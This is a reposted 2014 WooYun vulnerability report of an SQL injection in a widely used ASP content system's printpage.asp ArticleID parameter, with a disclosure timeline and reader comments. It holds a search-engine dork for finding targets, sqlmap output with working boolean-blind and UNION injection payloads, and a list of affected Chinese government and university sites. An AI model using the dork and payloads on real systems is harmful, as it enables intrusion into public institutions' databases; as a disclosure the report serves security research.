某通用系统sql注入（影响大量学校、政府站点）

admin
admin
admin
144121
文章
118
评论
2015年6月10日09:53:09评论427 views字数 224阅读0分44秒阅读模式
摘要

2014-09-06： 细节已通知厂商并且等待厂商处理中
2014-09-09： 厂商已经确认，细节仅向厂商公开
2014-09-12： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-11-03： 细节向核心白帽子及相关领域专家公开
2014-11-13： 细节向普通白帽子公开
2014-11-23： 细节向实习白帽子公开
2014-12-03： 细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号： WooYun-2014-74884

漏洞标题： 某通用系统sql注入（影响大量学校、政府站点） 某通用系统sql注入（影响大量学校、政府站点）

相关厂商： 某通用系统

漏洞作者： xyang

提交时间： 2014-09-06 12:33

公开时间： 2014-12-03 12:34

漏洞类型：

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

3人收藏

漏洞详情

披露状态：

2014-09-06： 细节已通知厂商并且等待厂商处理中
2014-09-09： 厂商已经确认，细节仅向厂商公开
2014-09-12： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-11-03： 细节向核心白帽子及相关领域专家公开
2014-11-13： 细节向普通白帽子公开
2014-11-23： 细节向实习白帽子公开
2014-12-03： 细节向公众公开

简要描述：

sql注入漏洞，影响大量学校及政府站点

详细说明：

code 区域 
baidu inurl:/printpage.asp?ArticleID

某通用系统sql注入（影响大量学校、政府站点）

code 区域 
GET parameter 'ArticleID' is vulnerable. Do you want to keep testing the others (if any)? 
 
 [y/N] 
 sqlmap identified the following injection points with a total of 47 HTTP(s) requests:
 ---
 Place: GET
 Parameter: ArticleID
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: ArticleID=2517 AND 7499=7499
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 28 columns
     Payload: ArticleID=-2851 UNION ALL SELECT 
 
 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(97)&CHR(118)
 
 &CHR(119)&CHR(113)&CHR(76)&CHR(97)&CHR(76)&CHR(98)&CHR(106)&CHR(122)&CHR(73)&CHR(68)&CHR(72)
 
 &CHR(119)&CHR(113)&CHR(105)&CHR(111)&CHR(98)&CHR
 
 (113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM 
 
 MSysAccessObjects%16
 ---

测试了一部分站点

code 区域 
http://**.**.**.**/wscgs/printpage.asp?ArticleID=2517 周口市公安交警信息网
 http://**.**.**.**/printpage.asp?ArticleID=242 日照市委市政府信访局
 http://**.**.**.**/printpage.asp?id=60317&ArticleID=571 衢州柯城区府山街道县学街社区 
 http://**.**.**.**/printpage.asp?ArticleID=1286 赣州民政网
 http://**.**.**.**/printpage.asp?ArticleID=1122 迁西县人力资源和社会保障局
 http://**.**.**.**/printpage.asp?ArticleID=888 宜昌市人民检察院
 http://**.**.**.**/Article/printpage.asp?ArticleID=29 浙江工业大学档案馆
 http://**.**.**.**/web2/printpage.asp?ArticleID=291 河北大学图书馆
 http://**.**.**.**/printpage.asp?ArticleID=188 南京林业大学语言文字网
 http://**.**.**.**/news/printpage.asp?ArticleID=8321 洛阳理工学院
 ......

漏洞证明：

某通用系统sql注入（影响大量学校、政府站点）

某通用系统sql注入（影响大量学校、政府站点）

某通用系统sql注入（影响大量学校、政府站点）

修复方案：

问题处在打印页面，参数增加过滤处理。。。

版权声明：转载请注明来源 xyang@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-09-09 08:51

厂商回复：

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-12-03 14:19 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

    1

    我觉得这是动易的

  2. 2014-12-03 22:16 | r41n ( 路人 | Rank:5 漏洞数:2 | 专业崩爆米花。)

    1

    这个貌似很久很久了吧。。。

  3. 2014-12-03 22:23 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

    1

    @r41n http://www.cnhonkerarmy.com/thread-160827-1-1.html 果然很久了

  4. 2014-12-03 23:00 | r41n ( 路人 | Rank:5 漏洞数:2 | 专业崩爆米花。)

    1

    @U神 14 rank 好轻松。。。

  5. 2014-12-04 01:46 | xyang ( 普通白帽子 | Rank:350 漏洞数:82 | stay hungry stay foolish)

    1

    @U神 @r41n 汗！原来早就爆出来了，不过好像出漏洞的地方不一样啊

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin